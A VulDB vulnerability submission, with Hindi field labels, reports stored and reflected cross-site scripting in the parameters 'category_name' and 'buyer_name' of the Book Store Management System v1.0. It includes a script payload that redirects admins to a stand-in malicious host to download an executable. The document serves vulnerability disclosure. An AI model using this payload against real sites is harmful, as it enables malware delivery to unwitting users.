| शीर्षक | Book Store Management System v1.0 - Stored XSS |
|---|
| विवरण | The web application Book Store Management System v1.0 is vulnerable to Stored Cross Site Scripting which can lead to cookie stealing, redirection to malicious site or any user will get malicious file downloaded. The file /category.php is affected with Stored XSS attack. Using the payload <script>document.location="http://malicious-site.com:1337/malicious-file.exe"</script> an attacker can trick any admin user to redirect on malicious site and the script will download the malicious file on victim's computer automatically. The parameter which is vulnerable to stored XSS in /category.php file is 'category_name'. Also the cashier user is also vulnerable to reflected XSS attack the file /transcation.php the parameter 'buyer_name' is vulnerable to reflected XSS for cash user. But when admin user access the History page the payload of cashier user will get executed on admin user side which is stored XSS for admin user. |
|---|
| स्रोत | ⚠️ https://www.sourcecodester.com/php/15748/book-store-management-system-project-using-php-codeigniter-3-free-source-code.html |
|---|
| उपयोगकर्ता | l3v1ath0n (UID 33329) |
|---|
| सबमिशन | 11/10/2022 12:30 PM (4 साल पहले) |
|---|
| संयम | 11/10/2022 04:17 PM (4 hours later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 210436 [SourceCodester Book Store Management System 1.0 /category.php category_name क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 20 |
|---|